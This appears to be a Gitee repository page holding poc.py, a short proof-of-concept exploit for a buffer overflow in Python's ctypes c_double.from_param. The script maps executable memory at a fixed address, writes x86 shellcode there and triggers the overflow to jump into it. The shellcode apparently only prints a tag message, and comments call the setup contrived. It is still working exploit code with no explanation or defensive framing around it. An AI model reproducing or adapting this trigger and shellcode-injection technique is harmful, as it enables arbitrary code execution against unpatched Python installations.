1 Star 0 Fork 0

shadowwolf/download

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
poc.py 1.00 KB
一键复制 编辑 原始数据 按行查看 历史
shadowwolf 提交于 2022-10-06 12:14 . rename m.py.txt to poc.py.
from ctypes import (c_double, c_int, CDLL, memmove, create_string_buffer,
addressof)
###########
# contrived setup, map executable memory with shellcode exactly where we want
# to jump (an attacker would have to set this up somehow)
libc = CDLL(None)
syscall = libc.syscall
NR_mmap = 192
target_address = 0x34333231
# mmap, 1 page, rwx, anonymous|private, no file, no offset
syscall(NR_mmap, target_address, 0x1000, 7, 0x21, -1, 0)
shellcode = create_string_buffer(
b'h\x01\x01\x01\x01\x814$/\x0b\x01\x01hherehwas hori hRand\x89\xe1j\x01[j'
b'\x13Zj\x04X\xcd\x80', 45)
memmove(target_address, addressof(shellcode), 45)
#
############
# trigger the bug
# this will jump to address 0x34333231 (ascii '4321') where the attacker's shell code
# is waiting, and will print out "Randori was here."
print(c_double.from_param(709677e300))
# if nothing happened, this should print, however, triggering the bug
# will print an alternate message!
print("all done! no problem.")
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/oagi/download.git
git@gitee.com:oagi/download.git
oagi
download
download
master

搜索帮助